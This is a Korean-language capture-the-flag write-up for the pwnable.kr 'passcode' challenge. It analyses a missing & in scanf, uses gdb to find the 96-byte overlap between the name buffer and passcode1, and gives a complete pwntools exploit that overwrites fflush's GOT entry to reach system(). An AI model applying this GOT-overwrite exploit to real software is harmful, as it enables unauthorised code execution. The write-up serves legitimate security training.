[Toddler's Bottle] - passcode
문제 설명에서 암호기반의 로그인 시스템을 만들었는데 컴파일은 에러없이 됬지만 컴파일러의 경고가 있었다고한다.
어떤 에러인지 한번 확인해보자.
main 함수에서 welcome()함수와 login()함수를 호출하고 리턴한다. welcome함수에서는 name[100]
만큼 선언해주고 입력을 받는다. 이제 login 함수를 보면 passcode1, passcode2를 검증하는데 검증이 성공하면 flag를 보여준다.
일단 문제를 실행시켜 보자.
실행시켜보면 passcode1을 입력하면 Segmentation fault가 출력되고 종료한다. 다시 위의 소스 코드의 longin 함수를 잘보면
scanf() 부분에서 &지정자가 빠져있다. 예를 들어 passcode1=0xbffff123 이면 0xbffff123의 주소에 값이 들어가야한다.
하지만 &를 빼고 입력을 받게되면 쓰레기 값이 들어갈 것 이다. fflush가 stdin즉 passcode1에 들어간 값을 다 지워버린다. gdb로 분석하자.
welcome 부분을 보면 name 변수는 ebp - 0x70에 입력 값을 저장한다. login 함수를 보자
passcode1을 보면 ebp - 0x10 위치에 입력을 받는다. name ebp - 0x70 - passocde1 epb - 0x10 = ebp - 0x60 즉, 96 바이트 이므로
passcod1의 값을 조작 가능하니 passcod1을 우리가 원하는 주소로 조작할 수 있다는 소리다.
fflush got의 주소를 login의 system() 으로 조작하면 될 것 이다. fflush got 주소를 구하고 system() 을 살펴보자.
fflush got의 주소는 0x804a004 이다.
system의 시작 부분을 보면 0x080485e3이다. payload는 dummy + fflush got + system( scanf로 받으니 정수로 입력)
exploit
from pwn import *
user = 'passcode'
host = 'pwnable.kr'
port = 2222
password = 'guest'
s = ssh(user, host, port, password)
p = s.process('./passcode')
e = ELF('./passcode')
fflush = e.got['fflush']
payload = 'A'*96
payload += p32(fflush)
p.sendlineafter('name : ', payload)
p.sendlineafter('passcode1 : ', str(134514147)) # 0x080485e3
p.interactive()